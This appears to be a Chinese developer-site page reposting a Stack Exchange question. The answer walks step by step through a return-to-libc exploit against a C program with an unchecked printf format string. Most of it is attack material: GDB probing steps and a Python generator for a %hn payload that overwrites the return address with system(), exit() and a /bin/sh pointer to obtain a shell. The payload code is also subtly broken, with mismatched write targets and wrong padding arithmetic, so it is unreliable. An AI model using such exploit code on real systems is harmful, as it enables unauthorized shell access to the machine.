You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

基于格式化字符串攻击向量实现Return-to-libc攻击的技术问询

Alright, let's break down how to execute a return-to-libc attack using the format string vulnerability in your target code. I'll walk through each step clearly, since format string attacks can be tricky to get right.

First, Let's Recap the Vulnerable Code

Your code has two critical issues: an unbounded scanf that lets us overflow the stack buffer, and a printf(a) that treats user input directly as a format string. We'll leverage the format string vector to hijack the program flow.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
    char a[10];
    scanf("%s",&a);
    printf(a);
    return 0;
}

Step 1: Grab the exit() Address

You already have system() at 0xf7e2cda0, but we need exit() to cleanly exit after system("/bin/sh") runs. In GDB, just run:

p exit

This will spit out the address (e.g., 0xf7e20860 — yours might vary based on your libc version). Jot that down.

Step 2: Find the Return Address Offset

We need to figure out where the main function's return address lives in the format string argument list. Here's how to probe it:

  1. Run the program in GDB: r
  2. Input a test string with a unique marker plus format specifiers:
    AAAA%p.%p.%p.%p.%p.%p
    
  3. Look for 0x41414141 (the hex value of AAAA) in the output. For example, if it shows up after the 5th %p, that means your input starts at the 5th argument position. From there, you can calculate the offset of the main return address (it'll be a few positions ahead — keep testing if needed).

Step 3: Construct the Format String Payload

The goal is to overwrite the main return address with system()'s address, set system()'s return address to exit(), and point system()'s argument to your /bin/sh environment variable address.

Since we're dealing with 32-bit x86 (little-endian), all addresses are 4 bytes and stored least-significant byte first. We'll use %n (writes the number of characters printed so far to a target address) and %hn (writes the lower 16 bits) to avoid printing massive amounts of characters.

Here's a concrete example of how to build the payload (adjust addresses/offsets to match your environment):

# Python script to generate the payload
import struct

# Replace these with your actual addresses
system_addr = 0xf7e2cda0
exit_addr = 0xf7e20860  # From `p exit` in GDB
binsh_addr = 0xf7f5aed0  # Your found /bin/sh env address
ret_addr = 0xffffd724    # Main's return address (find via GDB's `info frame`)

payload = b''
# Add the addresses we want to overwrite (return addr, system's return addr, system's arg)
payload += struct.pack('<I', ret_addr)       # Target 1: main's return address
payload += struct.pack('<I', ret_addr + 4)   # Target 2: system()'s return address (exit())
payload += struct.pack('<I', ret_addr + 8)   # Target 3: system()'s argument (/bin/sh)

# Split addresses into low/high 16 bits for %hn writes
low_system = system_addr & 0xffff
high_system = (system_addr >> 16) & 0xffff
low_exit = exit_addr & 0xffff
high_exit = (exit_addr >> 16) & 0xffff
low_binsh = binsh_addr & 0xffff
high_binsh = (binsh_addr >> 16) & 0xffff

# Calculate padding to hit the exact values we need to write
padding = low_system - len(payload)
payload += b'%0dx' % padding
payload += b'%8$hn'  # Write low 16 bits of system() to ret_addr

padding = high_system - (len(payload) + padding)
payload += b'%0dx' % padding
payload += b'%9$hn'  # Write high 16 bits of system() to ret_addr

padding = low_exit - (len(payload) + padding)
payload += b'%0dx' % padding
payload += b'%10$hn' # Write low 16 bits of exit() to ret_addr+4

padding = high_exit - (len(payload) + padding)
payload += b'%0dx' % padding
payload += b'%11$hn' # Write high 16 bits of exit() to ret_addr+4

padding = low_binsh - (len(payload) + padding)
payload += b'%0dx' % padding
payload += b'%12$hn' # Write low 16 bits of /bin/sh to ret_addr+8

padding = high_binsh - (len(payload) + padding)
payload += b'%0dx' % padding
payload += b'%13$hn' # Write high 16 bits of /bin/sh to ret_addr+8

Step 4: Execute the Attack

Run your vulnerable program, feed it the generated payload, and you should get a shell (permissions depend on how the program is run). Just remember: all addresses are environment-specific, so double-check your GDB values before building the payload.

内容的提问来源于stack exchange,提问作者re3el

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.21 08:13:58